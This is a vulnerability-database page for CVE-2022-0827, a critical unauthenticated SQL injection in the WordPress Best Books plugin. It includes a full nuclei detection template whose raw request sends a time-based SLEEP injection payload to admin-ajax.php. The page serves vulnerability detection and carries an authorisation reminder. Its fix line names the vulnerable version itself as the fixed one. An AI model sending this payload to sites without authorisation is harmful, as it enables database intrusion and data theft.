HexBrain

Browse / CVEs / CVE-2022-0827

CVE-2022-0827· presspage / bestbooks· CWE-89

WordPress Best Books <=2.6.3 - SQL Injection

criticalseverity
9.8CVSS score
9.1%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

Fix

Update to WordPress Best Books plugin version 2.6.3 or later to fix the SQL injection vulnerability.

How to confirm it

Send: @timeout 10s
Positive when: duration_1>=6 and status_code == 200 and contains(body, "Account added successfully")

Run it with nuclei: nuclei -id CVE-2022-0827 -u <target>

The full check
id: CVE-2022-0827

info:
  name: WordPress Best Books <=2.6.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to WordPress Best Books plugin version 2.6.3 or later to fix the SQL injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0d208ebc-7805-457b-aa5f-ffd5adb2f3be
    - https://wordpress.org/plugins/bestbooks/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0827
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0827
    cwe-id: CWE-89
    epss-score: 0.09127
    epss-percentile: 0.95353
    cpe: cpe:2.3:a:presspage:bestbooks:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: presspage
    product: bestbooks
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,bestbooks,unauthenticated,presspage,vkev,vuln

http:
  - raw:
      - |
        @timeout 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=bestbooks_add_transaction&type=x&account=x&date=x&description=1&debit=(CASE WHEN (9277=9277) THEN SLEEP(6) ELSE 9277 END)&credit=1

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code == 200'
          - 'contains(body, "Account added successfully")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from